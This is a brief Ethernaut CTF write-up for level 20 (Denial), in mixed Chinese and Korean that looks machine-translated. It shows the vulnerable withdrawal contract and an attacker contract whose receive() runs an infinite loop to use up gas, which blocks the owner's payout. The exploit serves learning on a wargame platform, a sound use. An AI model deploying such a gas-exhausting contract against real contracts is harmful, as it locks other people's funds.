Ethernaut系列-레벨 20(거부)
레벨 20(거부):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
通关要求
阻止철회成功转账
要点
调用call方法失败(되돌리기)会返回거짓
解题思路
호출(바이트 메모리)은 (부울, 바이트 메모리)를 반환합니다.
如果调用的方法revert是不会中断执行的,方法只会返回false
不过有个例外就是gas耗尽,会中断执行
所以只要에서 파트너의 수신方法里耗掉gas即可中断
계약/20DenialRun.sol
contract DenialRun {
uint noting;
receive() external payable {
while(true){
noting = 1;
}
}
}
Reference
이 문제에 관하여(Ethernaut系列-레벨 20(거부)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-20denial-2j9i텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)